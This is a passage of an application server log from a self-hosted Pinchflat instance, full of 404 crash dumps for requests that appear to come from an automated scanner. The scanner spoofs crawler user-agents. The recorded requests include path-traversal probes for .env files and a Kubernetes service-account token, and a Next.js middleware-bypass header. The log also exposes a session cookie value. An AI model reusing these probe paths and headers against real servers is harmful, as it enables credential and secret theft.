"pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29691.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61bbYDS9saNwABwIh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw?? (truncated) 16:49:07.736 [info] GET /@fs/../.env 16:49:07.737 [debug] QUERY OK source="settings" db=0.1ms idle=197.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.737 [debug] QUERY OK source="settings" db=0.1ms idle=163.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.737 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.738 [info] GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token 16:49:07.738 [debug] QUERY OK source="settings" db=0.1ms idle=164.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.738 [debug] QUERY OK source="settings" db=0.0ms idle=149.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.737 [error] #PID<0.29693.0> running PinchflatWeb.Endpoint (connection #PID<0.29692.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/../.env?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34040}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29693.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61b-kU2AKdPgABwJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34040}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29692.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34040}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 16:49:07.738 [error] #PID<0.29695.0> running PinchflatWeb.Endpoint (connection #PID<0.29694.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29695.0>, params: %{"raw??" => ""}, path_info: ["@fs", "var", "run", "secrets", "kubernetes.io", "serviceaccount", "token"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/token", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61b-7NMooa3kABwJh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/var/run/secrets/kubernetes.io/serviceaccount/token", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34044}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middl (truncated) 16:49:07.743 [info] GET /@fs/app/.env.production 16:49:07.743 [debug] QUERY OK source="settings" db=0.0ms idle=154.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.743 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.743 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.743 [error] #PID<0.29697.0> running PinchflatWeb.Endpoint (connection #PID<0.29696.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/app/.env.production?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29697.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "app", ".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/app/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61cAJaoeTa08AAH-j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34046}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", 